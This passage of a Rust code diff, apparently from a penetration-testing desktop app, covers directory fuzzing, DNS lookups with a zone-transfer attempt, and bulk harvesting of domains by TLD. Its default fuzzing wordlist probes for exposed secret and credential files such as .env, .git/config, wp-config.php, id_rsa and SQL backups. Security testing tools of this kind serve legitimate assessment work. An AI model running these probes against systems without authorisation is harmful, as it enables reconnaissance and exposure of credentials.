if let Some(max) = size_max { if hit.size > max { return; } }
|
||||
if let Some(wsz) = wildcard_size { if hit.size == wsz { return; } }
|
||||
|
||||
let _ = app.emit("dirfuzz:hit", hit.clone());
|
||||
local_hits.lock().await.push(hit.clone());
|
||||
all_hits_c.lock().await.push(hit);
|
||||
} else {
|
||||
total_done.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
})
|
||||
.buffer_unordered(req.concurrency.max(1))
|
||||
.for_each(|_| async {})
|
||||
.await;
|
||||
|
||||
// recursion: enqueue hits that look like directories
|
||||
if req.recursive && depth < req.recursion_depth {
|
||||
let hits = local_hits.lock().await;
|
||||
for h in hits.iter() {
|
||||
let looks_like_dir = h.status == 301 || h.status == 302
|
||||
|| h.url.ends_with('/')
|
||||
|| h.redirect.as_deref().map(|r| r.ends_with('/')).unwrap_or(false);
|
||||
if looks_like_dir {
|
||||
let mut q = queue.lock().await;
|
||||
q.push((h.url.trim_end_matches('/').to_string(), depth + 1));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let hits = all_hits.lock().await.clone();
|
||||
let _ = app.emit("dirfuzz:done", hits.len());
|
||||
Ok(hits)
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub fn dirfuzz_common_wordlist() -> Vec<String> {
|
||||
// compact default wordlist — 150 of the highest-signal paths
|
||||
vec![
|
||||
"admin", "administrator", "login", "signin", "signup", "register",
|
||||
"dashboard", "api", "api/v1", "api/v2", "api/v3", "graphql",
|
||||
"robots.txt", "sitemap.xml", "crossdomain.xml", "clientaccesspolicy.xml",
|
||||
".git/config", ".git/HEAD", ".git/logs/HEAD", ".svn/entries", ".hg/hgrc",
|
||||
".env", ".env.local", ".env.production", ".env.backup",
|
||||
"config", "config.php", "config.json", "config.yml", "config.xml",
|
||||
"backup", "backup.zip", "backup.tar.gz", "backup.sql", "backup.bak",
|
||||
"db.sql", "dump.sql", "database.sql", "site.sql",
|
||||
"test", "test.php", "test.html", "phpinfo.php", "info.php",
|
||||
"server-status", "server-info", "status",
|
||||
"wp-admin", "wp-login.php", "wp-content", "wp-includes", "wp-config.php",
|
||||
"administrator/index.php", "user/login", "users/sign_in",
|
||||
"phpmyadmin", "myadmin", "mysql", "dbadmin", "adminer", "adminer.php",
|
||||
".htaccess", ".htpasswd", ".DS_Store", "thumbs.db",
|
||||
"uploads", "upload", "files", "file", "download", "downloads",
|
||||
"images", "img", "assets", "static", "public", "private",
|
||||
"docs", "doc", "documentation", "swagger", "swagger.json",
|
||||
"swagger-ui.html", "api-docs", "openapi.json", "openapi.yaml",
|
||||
"console", "actuator", "actuator/health", "actuator/env", "actuator/info",
|
||||
"metrics", "prometheus", "health", "healthcheck", "readiness", "liveness",
|
||||
"debug", "trace", "error", "errors", "log", "logs", "error_log",
|
||||
"jenkins", "phpunit", "webdav", "manager/html", "tomcat",
|
||||
"portal", "support", "help", "about", "contact", "feedback",
|
||||
"mail", "email", "webmail", "smtp", "imap",
|
||||
"vpn", "sso", "auth", "oauth", "oauth2", "openid",
|
||||
".well-known/security.txt", ".well-known/openid-configuration",
|
||||
".well-known/acme-challenge", ".well-known/nodeinfo",
|
||||
"index.php", "index.html", "index.asp", "index.aspx", "index.jsp",
|
||||
"home", "main", "default",
|
||||
"secret", "private.key", "id_rsa", "id_dsa",
|
||||
"setup", "install", "installer", "setup.php",
|
||||
"cgi-bin", "cgi-bin/test.sh", "cgi-bin/info.sh",
|
||||
"dev", "development", "staging", "stage", "beta", "qa", "uat",
|
||||
"old", "new", "tmp", "temp", "cache",
|
||||
"api/users", "api/user", "api/me", "api/login", "api/admin",
|
||||
"admin/login", "admin/config", "admin/users",
|
||||
"fckeditor", "ckeditor", "tinymce", "editor",
|
||||
"vendor", "node_modules", "composer.json", "composer.lock",
|
||||
"package.json", "yarn.lock", "webpack.config.js",
|
||||
"wp-json", "wp-json/wp/v2", "wp-json/wp/v2/users",
|
||||
].into_iter().map(String::from).collect()
|
||||
}
|
||||
263
src-tauri/src/modules/dns_tools.rs
Normal file
@@ -0,0 +1,263 @@
|
||||
// ===================================================================
|
||||
// DNS Tools — comprehensive record lookup + zone transfer + DNSSEC
|
||||
// ===================================================================
|
||||
|
||||
use std::net::SocketAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use hickory_resolver::config::{NameServerConfig, Protocol, ResolverConfig, ResolverOpts};
|
||||
use hickory_resolver::proto::rr::RecordType;
|
||||
use hickory_resolver::TokioAsyncResolver;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::timeout;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct DnsRequest {
|
||||
pub domain: String,
|
||||
#[serde(default)]
|
||||
pub resolver: Option<String>, // e.g. "1.1.1.1:53", "8.8.8.8:53", "internal-dns.corp:53"
|
||||
#[serde(default)]
|
||||
pub types: Option<Vec<String>>, // subset to query, None = all
|
||||
#[serde(default)]
|
||||
pub try_axfr: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct DnsReport {
|
||||
pub domain: String,
|
||||
pub records: Vec<DnsRecordGroup>,
|
||||
pub axfr: Option<AxfrResult>,
|
||||
pub dnssec: DnssecCheck,
|
||||
pub errors: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct DnsRecordGroup {
|
||||
pub rtype: String,
|
||||
pub values: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct AxfrResult {
|
||||
pub success: bool,
|
||||
pub nameserver: String,
|
||||
pub records_dumped: Vec<String>,
|
||||
pub error: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct DnssecCheck {
|
||||
pub dnskey_count: usize,
|
||||
pub has_dnssec: bool,
|
||||
}
|
||||
|
||||
fn build_resolver(custom: Option<&str>) -> Result<TokioAsyncResolver, String> {
|
||||
let mut opts = ResolverOpts::default();
|
||||
opts.timeout = Duration::from_secs(4);
|
||||
opts.attempts = 2;
|
||||
|
||||
if let Some(addr) = custom {
|
||||
let sa: SocketAddr = if addr.contains(':') {
|
||||
addr.parse().map_err(|e| format!("bad resolver addr: {e}"))?
|
||||
} else {
|
||||
format!("{addr}:53").parse().map_err(|e| format!("bad resolver addr: {e}"))?
|
||||
};
|
||||
let mut cfg = ResolverConfig::new();
|
||||
cfg.add_name_server(NameServerConfig {
|
||||
socket_addr: sa,
|
||||
protocol: Protocol::Udp,
|
||||
tls_dns_name: None,
|
||||
trust_negative_responses: false,
|
||||
bind_addr: None,
|
||||
});
|
||||
Ok(TokioAsyncResolver::tokio(cfg, opts))
|
||||
} else {
|
||||
Ok(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts))
|
||||
}
|
||||
}
|
||||
|
||||
fn all_types() -> Vec<(&'static str, RecordType)> {
|
||||
vec![
|
||||
("A", RecordType::A),
|
||||
("AAAA", RecordType::AAAA),
|
||||
("MX", RecordType::MX),
|
||||
("NS", RecordType::NS),
|
||||
("CNAME", RecordType::CNAME),
|
||||
("TXT", RecordType::TXT),
|
||||
("SOA", RecordType::SOA),
|
||||
("CAA", RecordType::CAA),
|
||||
("SRV", RecordType::SRV),
|
||||
("PTR", RecordType::PTR),
|
||||
]
|
||||
}
|
||||
|
||||
async fn try_axfr(domain: &str, nameserver: &str) -> AxfrResult {
|
||||
// Best-effort AXFR via raw TCP to port 53.
|
||||
// Build a minimal DNS AXFR query (type 252) and read packets.
|
||||
// Most public servers will refuse (REFUSED rcode) — this is mostly a
|
||||
// "is this server misconfigured" check.
|
||||
let addr: SocketAddr = match format!("{nameserver}:53").parse() {
|
||||
Ok(a) => a,
|
||||
Err(e) => return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some(e.to_string()) },
|
||||
};
|
||||
|
||||
let stream_res = timeout(Duration::from_secs(5), TcpStream::connect(addr)).await;
|
||||
let mut stream = match stream_res {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some(e.to_string()) },
|
||||
Err(_) => return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some("connect timeout".into()) },
|
||||
};
|
||||
|
||||
let mut query: Vec<u8> = Vec::new();
|
||||
// DNS header (12 bytes): tx=0, flags=0x0100 (RD), questions=1
|
||||
query.extend_from_slice(&[0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0]);
|
||||
// QNAME
|
||||
for label in domain.trim_end_matches('.').split('.') {
|
||||
let bytes = label.as_bytes();
|
||||
query.push(bytes.len() as u8);
|
||||
query.extend_from_slice(bytes);
|
||||
}
|
||||
query.push(0);
|
||||
// QTYPE=252 AXFR, QCLASS=IN
|
||||
query.extend_from_slice(&[0, 252, 0, 1]);
|
||||
|
||||
// TCP DNS prepends 2-byte length
|
||||
let mut framed = Vec::with_capacity(query.len() + 2);
|
||||
let len = query.len() as u16;
|
||||
framed.extend_from_slice(&len.to_be_bytes());
|
||||
framed.extend_from_slice(&query);
|
||||
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
if let Err(e) = stream.write_all(&framed).await {
|
||||
return AxfrResult { success: false, nameserver: nameserver.into(), records_dumped: vec![], error: Some(e.to_string()) };
|
||||
}
|
||||
let _ = stream.flush().await;
|
||||
|
||||
// Read up to 32KB of responses, parse roughly — just count record names.
|
||||
let mut out: Vec<String> = Vec::new();
|
||||
let mut total = 0usize;
|
||||
loop {
|
||||
let mut len_buf = [0u8; 2];
|
||||
let r = timeout(Duration::from_secs(4), stream.read_exact(&mut len_buf)).await;
|
||||
match r {
|
||||
Ok(Ok(_)) => {}
|
||||
_ => break,
|
||||
}
|
||||
let rlen = u16::from_be_bytes(len_buf) as usize;
|
||||
if rlen == 0 || rlen > 65535 { break; }
|
||||
let mut buf = vec![0u8; rlen];
|
||||
if timeout(Duration::from_secs(4), stream.read_exact(&mut buf)).await.is_err() { break; }
|
||||
total += buf.len();
|
||||
// check RCODE in response flags
|
||||
if buf.len() >= 4 {
|
||||
let rcode = buf[3] & 0x0F;
|
||||
if rcode != 0 {
|
||||
return AxfrResult {
|
||||
success: false,
|
||||
nameserver: nameserver.into(),
|
||||
records_dumped: vec![],
|
||||
error: Some(format!("RCODE {rcode} (refused/notauth/other)")),
|
||||
};
|
||||
}
|
||||
}
|
||||
// naive: parse names from answer section (skip header + question)
|
||||
if let Some(names) = extract_names(&buf) {
|
||||
for n in names {
|
||||
if !out.contains(&n) { out.push(n); }
|
||||
}
|
||||
}
|
||||
if total > 65536 { break; }
|
||||
}
|
||||
|
||||
AxfrResult {
|
||||
success: !out.is_empty(),
|
||||
nameserver: nameserver.into(),
|
||||
records_dumped: out,
|
||||
error: None,
|
||||
}
|
||||
}
|
||||
|
||||
// Best-effort name extractor — walks bytes looking for printable labels.
|
||||
fn extract_names(packet: &[u8]) -> Option<Vec<String>> {
|
||||
if packet.len() < 12 { return None; }
|
||||
let mut out: Vec<String> = Vec::new();
|
||||
let mut i = 12; // skip header
|
||||
let mut seen = std::collections::HashSet::new();
|
||||
while i < packet.len() {
|
||||
let len = packet[i] as usize;
|
||||
if len == 0 { i += 1; continue; }
|
||||
if len & 0xC0 == 0xC0 { i += 2; continue; }
|
||||
if i + 1 + len > packet.len() { break; }
|
||||
if len < 64 {
|
||||
let bytes = &packet[i + 1..i + 1 + len];
|
||||
if bytes.iter().all(|b| b.is_ascii_graphic()) {
|
||||
let s = String::from_utf8_lossy(bytes).to_string();
|
||||
if !seen.contains(&s) && s.len() > 1 {
|
||||
seen.insert(s.clone());
|
||||
out.push(s);
|
||||
}
|
||||
}
|
||||
}
|
||||
i += 1 + len;
|
||||
}
|
||||
Some(out)
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn dns_query(req: DnsRequest) -> Result<DnsReport, String> {
|
||||
let resolver = build_resolver(req.resolver.as_deref())?;
|
||||
let wanted: Vec<(&'static str, RecordType)> = match &req.types {
|
||||
Some(v) if !v.is_empty() => all_types().into_iter().filter(|(n, _)| v.iter().any(|x| x.eq_ignore_ascii_case(n))).collect(),
|
||||
_ => all_types(),
|
||||
};
|
||||
|
||||
let mut records: Vec<DnsRecordGroup> = Vec::new();
|
||||
let mut errors: Vec<String> = Vec::new();
|
||||
let mut nameservers: Vec<String> = Vec::new();
|
||||
|
||||
for (name, rt) in wanted {
|
||||
let result = resolver.lookup(req.domain.as_str(), rt).await;
|
||||
match result {
|
||||
Ok(lookup) => {
|
||||
let values: Vec<String> = lookup.iter().map(|r| r.to_string()).collect();
|
||||
if !values.is_empty() {
|
||||
if name == "NS" {
|
||||
for v in &values { nameservers.push(v.trim_end_matches('.').to_string()); }
|
||||
}
|
||||
records.push(DnsRecordGroup { rtype: name.to_string(), values });
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = format!("{name}: {e}");
|
||||
// "no records found" is noise — only log if not NoRecordsFound
|
||||
if !msg.to_lowercase().contains("no record") {
|
||||
errors.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// DNSSEC check — presence of DNSKEY
|
||||
let dnssec = match resolver.lookup(req.domain.as_str(), RecordType::DNSKEY).await {
|
||||
Ok(lookup) => {
|
||||
let count = lookup.iter().count();
|
||||
DnssecCheck { dnskey_count: count, has_dnssec: count > 0 }
|
||||
}
|
||||
Err(_) => DnssecCheck { dnskey_count: 0, has_dnssec: false },
|
||||
};
|
||||
|
||||
// AXFR attempt
|
||||
let axfr = if req.try_axfr {
|
||||
let ns = nameservers.first().cloned().unwrap_or_default();
|
||||
if ns.is_empty() {
|
||||
Some(AxfrResult { success: false, nameserver: String::new(), records_dumped: vec![], error: Some("no NS records to attempt AXFR".into()) })
|
||||
} else {
|
||||
Some(try_axfr(&req.domain, &ns).await)
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
Ok(DnsReport { domain: req.domain, records, axfr, dnssec, errors })
|
||||
}
|
||||
576
src-tauri/src/modules/domain_grabber.rs
Normal file
@@ -0,0 +1,576 @@
|
||||
// ===================================================================
|
||||
// Domain Grabber — mass-harvest real domains by TLD extension.
|
||||
//
|
||||
// Sources (researched for reliability, free, no API key):
|
||||
// - crt.sh — cert transparency (needs keyword for bulk)
|
||||
// - commoncrawl — CDX index over billions of crawled URLs
|
||||
// - rapiddns — 3B+ DNS records, HTML-scrape endpoint
|
||||
// - hackertarget — 50/day/IP hostsearch
|
||||
// - certspotter — CT issuances (keyword required)
|
||||
// - wordlist-id — 4k Indonesian common words + DNS resolve (bundled)
|
||||
// - wordlist-id-full — 18k KBBI dictionary + DNS resolve (bundled)
|
||||
//
|
||||
// IANA catalog integration: fetch iana.org/domains/root/db → 1500+ TLDs.
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::HashSet;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use hickory_resolver::config::{ResolverConfig, ResolverOpts};
|
||||
use hickory_resolver::TokioAsyncResolver;
|
||||
use once_cell::sync::Lazy;
|
||||
use regex::Regex;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::Semaphore;
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Bundled Indonesian wordlists (embedded at compile time)
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
const WORDLIST_ID_KOMPAS: &str = include_str!("../../wordlists/id-kompas.lst");
|
||||
const WORDLIST_ID_KBBI: &str = include_str!("../../wordlists/id-kbbi.lst");
|
||||
const WORDLIST_EN_COMMON: &str = include_str!("../../wordlists/en-common.lst");
|
||||
const WORDLIST_SUBS: &str = include_str!("../../wordlists/subs-top5k.lst");
|
||||
|
||||
fn parse_wordlist(raw: &str) -> Vec<String> {
|
||||
raw.lines()
|
||||
.map(|l| l.trim().to_lowercase())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
// only DNS-valid labels: a-z 0-9 - (no spaces, no unicode)
|
||||
.filter(|l| l.chars().all(|c| c.is_ascii_alphanumeric() || c == '-'))
|
||||
.filter(|l| !l.starts_with('-') && !l.ends_with('-') && l.len() >= 2 && l.len() <= 63)
|
||||
.collect()
|
||||
}
|
||||
|
||||
static WL_KOMPAS: Lazy<Vec<String>> = Lazy::new(|| parse_wordlist(WORDLIST_ID_KOMPAS));
|
||||
static WL_KBBI: Lazy<Vec<String>> = Lazy::new(|| parse_wordlist(WORDLIST_ID_KBBI));
|
||||
static WL_EN_COMMON: Lazy<Vec<String>> = Lazy::new(|| parse_wordlist(WORDLIST_EN_COMMON));
|
||||
static WL_SUBS: Lazy<Vec<String>> = Lazy::new(|| parse_wordlist(WORDLIST_SUBS));
|
||||
|
||||
#[tauri::command]
|
||||
pub fn wordlist_info() -> serde_json::Value {
|
||||
serde_json::json!({
|
||||
"id-kompas": { "name": "Indonesian common (Kompas corpus)", "count": WL_KOMPAS.len() },
|
||||
"id-kbbi": { "name": "Indonesian KBBI dictionary", "count": WL_KBBI.len() },
|
||||
"en-common": { "name": "English common words", "count": WL_EN_COMMON.len() },
|
||||
"subs-top5k": { "name": "Top 5k subdomain prefixes", "count": WL_SUBS.len() },
|
||||
})
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// IANA TLD list
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct IanaTld {
|
||||
pub tld: String, // e.g. ".com"
|
||||
pub kind: String, // generic / country-code / sponsored / generic-restricted / infrastructure
|
||||
pub sponsor: String, // registry manager
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn iana_tld_list() -> Result<Vec<IanaTld>, String> {
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(25))
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-DomainGrabber)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
let html = client
|
||||
.get("https://www.iana.org/domains/root/db")
|
||||
.send().await.map_err(|e| e.to_string())?
|
||||
.error_for_status().map_err(|e| e.to_string())?
|
||||
.text().await.map_err(|e| e.to_string())?;
|
||||
|
||||
let row_re = Regex::new(r"(?s)<tr>(.*?)</tr>").unwrap();
|
||||
let td_re = Regex::new(r"(?s)<td[^>]*>(.*?)</td>").unwrap();
|
||||
let tag_re = Regex::new(r"<[^>]+>").unwrap();
|
||||
let ws_re = Regex::new(r"\s+").unwrap();
|
||||
|
||||
let mut out: Vec<IanaTld> = Vec::new();
|
||||
for row in row_re.captures_iter(&html) {
|
||||
let row_html = &row[1];
|
||||
let cells: Vec<String> = td_re.captures_iter(row_html)
|
||||
.map(|c| {
|
||||
let plain = tag_re.replace_all(&c[1], "");
|
||||
ws_re.replace_all(plain.trim(), " ").to_string()
|
||||
})
|
||||
.collect();
|
||||
if cells.len() != 3 { continue; }
|
||||
let tld_raw = cells[0].trim().to_string();
|
||||
// skip header rows, empties, and non-TLD entries
|
||||
if !tld_raw.starts_with('.') || tld_raw.len() < 2 { continue; }
|
||||
out.push(IanaTld {
|
||||
tld: tld_raw.to_lowercase(),
|
||||
kind: cells[1].clone(),
|
||||
sponsor: cells[2].clone(),
|
||||
});
|
||||
}
|
||||
|
||||
out.sort_by(|a, b| a.tld.cmp(&b.tld));
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Domain grabbing
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct GrabRequest {
|
||||
pub tld: String, // ".id" / "id" / "co.id" / "gov.uk"
|
||||
#[serde(default)]
|
||||
pub keyword: Option<String>, // optional narrowing string
|
||||
#[serde(default = "default_sources")]
|
||||
pub sources: Vec<String>, // "crtsh" "urlscan" "wayback"
|
||||
#[serde(default = "default_max")]
|
||||
pub max_per_source: usize,
|
||||
#[serde(default = "default_true")]
|
||||
pub apex_only: bool,
|
||||
#[serde(default = "default_timeout")]
|
||||
pub timeout_ms: u64,
|
||||
#[serde(default = "default_wl_conc")]
|
||||
pub wordlist_concurrency: usize,
|
||||
}
|
||||
|
||||
fn default_wl_conc() -> usize { 80 }
|
||||
|
||||
fn default_sources() -> Vec<String> { vec!["crtsh".into(), "rapiddns".into(), "hackertarget".into()] }
|
||||
fn default_max() -> usize { 1000 }
|
||||
fn default_true() -> bool { true }
|
||||
fn default_timeout() -> u64 { 30_000 }
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct GrabHit {
|
||||
pub domain: String,
|
||||
pub source: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct SourceStat {
|
||||
pub source: String,
|
||||
pub count: usize,
|
||||
pub error: Option<String>,
|
||||
pub took_ms: u128,
|
||||
}
|
||||
|
||||
// Known multi-label public suffixes by TLD — minimal curated list.
|
||||
// For proper support you'd use the full PSL; this handles common cases.
|
||||
static MULTI_SUFFIXES: Lazy<Vec<&'static str>> = Lazy::new(|| vec![
|
||||
// Indonesia
|
||||
"co.id", "ac.id", "go.id", "or.id", "mil.id", "sch.id", "net.id", "web.id", "ponpes.id", "my.id", "biz.id", "desa.id",
|
||||
// UK
|
||||
"co.uk", "org.uk", "ac.uk", "gov.uk", "net.uk", "ltd.uk", "plc.uk",
|
||||
// Japan
|
||||
"co.jp", "ac.jp", "ne.jp", "or.jp", "go.jp", "ed.jp", "lg.jp",
|
||||
// Australia
|
||||
"com.au", "net.au", "org.au", "edu.au", "gov.au",
|
||||
// Generic
|
||||
"com.br", "com.mx", "com.ar", "com.tr", "com.sg", "com.my", "com.ph", "com.vn", "com.hk", "com.tw",
|
||||
"edu.my", "gov.my", "gov.sg",
|
||||
]);
|
||||
|
||||
fn normalize_tld(t: &str) -> String {
|
||||
t.trim().trim_start_matches('.').to_lowercase()
|
||||
}
|
||||
|
||||
fn apex_of(host: &str, tld: &str) -> String {
|
||||
let h = host.trim_end_matches('.').to_lowercase();
|
||||
let tld = tld.trim_start_matches('.');
|
||||
if !h.ends_with(&format!(".{}", tld)) && h != tld { return h; }
|
||||
|
||||
// Check multi-label suffix: if TLD itself includes a dot (e.g. co.id input) use as-is.
|
||||
let parts: Vec<&str> = h.split('.').collect();
|
||||
// find effective suffix
|
||||
let mut eff_labels: usize = tld.split('.').count();
|
||||
for suf in MULTI_SUFFIXES.iter() {
|
||||
if h.ends_with(&format!(".{}", suf)) || h == *suf {
|
||||
eff_labels = suf.split('.').count();
|
||||
break;
|
||||
}
|
||||
}
|
||||
// apex = last (eff_labels + 1) labels
|
||||
let total = parts.len();
|
||||
let take = (eff_labels + 1).min(total);
|
||||
parts[total - take..].join(".")
|
||||
}
|
||||
|
||||
fn host_from_url(u: &str) -> Option<String> {
|
||||
url::Url::parse(u).ok().and_then(|p| p.host_str().map(|s| s.to_lowercase()))
|
||||
}
|
||||
|
||||
fn clean_host(s: &str, tld: &str) -> Option<String> {
|
||||
let h = s.trim().trim_start_matches("*.").trim_start_matches('.').to_lowercase();
|
||||
let h = h.split_whitespace().next()?.to_string();
|
||||
if h.is_empty() { return None; }
|
||||
if h.contains('@') || h.contains(' ') || h.contains('/') { return None; }
|
||||
if !h.ends_with(&format!(".{}", tld)) && h != tld { return None; }
|
||||
Some(h)
|
||||
}
|
||||
|
||||
const BROWSER_UA: &str = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
|
||||
|
||||
async fn fetch_with_retry(
|
||||
client: &reqwest::Client,
|
||||
url: &str,
|
||||
extra_headers: &[(&str, &str)],
|
||||
attempts: u32,
|
||||
) -> anyhow::Result<String> {
|
||||
let mut last_err: Option<String> = None;
|
||||
for attempt in 1..=attempts {
|
||||
let mut req = client.get(url)
|
||||
.header("User-Agent", BROWSER_UA)
|
||||
.header("Accept", "application/json, text/plain, */*")
|
||||
.header("Accept-Language", "en-US,en;q=0.9")
|
||||
.header("Accept-Encoding", "gzip, deflate");
|
||||
for (k, v) in extra_headers { req = req.header(*k, *v); }
|
||||
match req.send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
if status.is_success() { return Ok(body); }
|
||||
let snippet: String = body.chars().take(160).collect();
|
||||
last_err = Some(format!("HTTP {status} — {}", snippet));
|
||||
if status.as_u16() == 429 || status.is_server_error() {
|
||||
tokio::time::sleep(Duration::from_millis(1000 * attempt as u64)).await;
|
||||
continue;
|
||||
} else {
|
||||
break; // 4xx other than 429 — no point retrying
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
last_err = Some(e.to_string());
|
||||
tokio::time::sleep(Duration::from_millis(500 * attempt as u64)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(anyhow::anyhow!(last_err.unwrap_or_else(|| "unknown".into())))
|
||||
}
|
||||
|
||||
// ---- source: crt.sh ----
|
||||
async fn src_crtsh(
|
||||
client: &reqwest::Client, tld: &str, keyword: Option<&str>,
|
||||
) -> anyhow::Result<Vec<String>> {
|
||||
// crt.sh uses SQL LIKE patterns. `%` must be URL-encoded as %25.
|
||||
let q = match keyword {
|
||||
Some(k) if !k.is_empty() => format!("%25{}%25.{}", k, tld),
|
||||
_ => format!("%25.{}", tld),
|
||||
};
|
||||
let url = format!("https://crt.sh/?q={}&output=json", q);
|
||||
let body = fetch_with_retry(client, &url, &[("Referer", "https://crt.sh/")], 3).await?;
|
||||
if body.trim().is_empty() {
|
||||
anyhow::bail!("empty body (query too broad or server busy — try with a keyword)");
|
||||
}
|
||||
let val: serde_json::Value = serde_json::from_str(&body)
|
||||
.map_err(|e| anyhow::anyhow!("json: {e} — got HTML maybe (body snippet: {})", body.chars().take(80).collect::<String>()))?;
|
||||
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
|
||||
let mut out: Vec<String> = Vec::new();
|
||||
for r in arr {
|
||||
if let Some(nv) = r.get("name_value").and_then(|v| v.as_str()) {
|
||||
for line in nv.split('\n') {
|
||||
if let Some(h) = clean_host(line, tld) { out.push(h); }
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
// ---- source: Common Crawl CDX (billions of crawled URLs) ----
|
||||
async fn src_commoncrawl(
|
||||
client: &reqwest::Client, tld: &str, keyword: Option<&str>, max: usize,
|
||||
) -> anyhow::Result<Vec<String>> {
|
||||
// 1. Fetch latest collection ID
|
||||
let info_body = fetch_with_retry(client, "https://index.commoncrawl.org/collinfo.json", &[], 2).await?;
|
||||
let info: serde_json::Value = serde_json::from_str(&info_body)
|
||||
.map_err(|e| anyhow::anyhow!("collinfo json: {e}"))?;
|
||||
let collection_id = info.as_array()
|
||||
.and_then(|a| a.first())
|
||||
.and_then(|c| c.get("id"))
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| anyhow::anyhow!("no CC collection found"))?;
|
||||
|
||||
// 2. Query CDX index for URLs matching *.{tld}
|
||||
let url_pat = match keyword {
|
||||
Some(k) if !k.is_empty() => format!("*{k}*.{tld}"),
|
||||
_ => format!("*.{tld}"),
|
||||
};
|
||||
let lim = max.min(5_000).to_string();
|
||||
let cdx_url = format!("https://index.commoncrawl.org/{}-index", collection_id);
|
||||
let url_obj = reqwest::Url::parse_with_params(
|
||||
&cdx_url,
|
||||
&[
|
||||
("url", url_pat.as_str()),
|
||||
("output", "json"),
|
||||
("fl", "url"),
|
||||
("limit", lim.as_str()),
|
||||
],
|
||||
).map_err(|e| anyhow::anyhow!("url build: {e}"))?;
|
||||
let body = fetch_with_retry(client, url_obj.as_str(), &[], 2).await?;
|
||||
if body.trim().is_empty() { return Ok(vec![]); }
|
||||
|
||||
// NDJSON response (one JSON obj per line)
|
||||
let mut out = Vec::new();
|
||||
for line in body.lines() {
|
||||
if line.trim().is_empty() { continue; }
|
||||
if let Ok(val) = serde_json::from_str::<serde_json::Value>(line) {
|
||||
if let Some(u) = val.get("url").and_then(|v| v.as_str()) {
|
||||
if let Some(h) = host_from_url(u) {
|
||||
if let Some(cleaned) = clean_host(&h, tld) { out.push(cleaned); }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
// ---- source: rapiddns.io (3B+ DNS records, HTML scrape) ----
|
||||
async fn src_rapiddns(
|
||||
client: &reqwest::Client, tld: &str, keyword: Option<&str>,
|
||||
) -> anyhow::Result<Vec<String>> {
|
||||
// rapiddns supports: /subdomain/DOMAIN (needs full domain) or /s/KEYWORD?full=1
|
||||
let url = match keyword {
|
||||
Some(k) if !k.is_empty() => {
|
||||
// keyword-based search returns domains matching a substring
|
||||
format!("https://rapiddns.io/s/{}.{}?full=1", k, tld)
|
||||
}
|
||||
_ => format!("https://rapiddns.io/s/{}?full=1", tld),
|
||||
};
|
||||
let html = fetch_with_retry(client, &url, &[
|
||||
("Referer", "https://rapiddns.io/"),
|
||||
], 2).await?;
|
||||
|
||||
// parse HTML table rows: <td>domain.tld</td>
|
||||
let re = Regex::new(r#"<td[^>]*>([a-zA-Z0-9_.\-]+\.[a-zA-Z]{2,})</td>"#)?;
|
||||
let mut out = Vec::new();
|
||||
for cap in re.captures_iter(&html) {
|
||||
if let Some(m) = cap.get(1) {
|
||||
if let Some(h) = clean_host(m.as_str(), tld) { out.push(h); }
|
||||
}
|
||||
}
|
||||
Ok(out)
|
||||
}
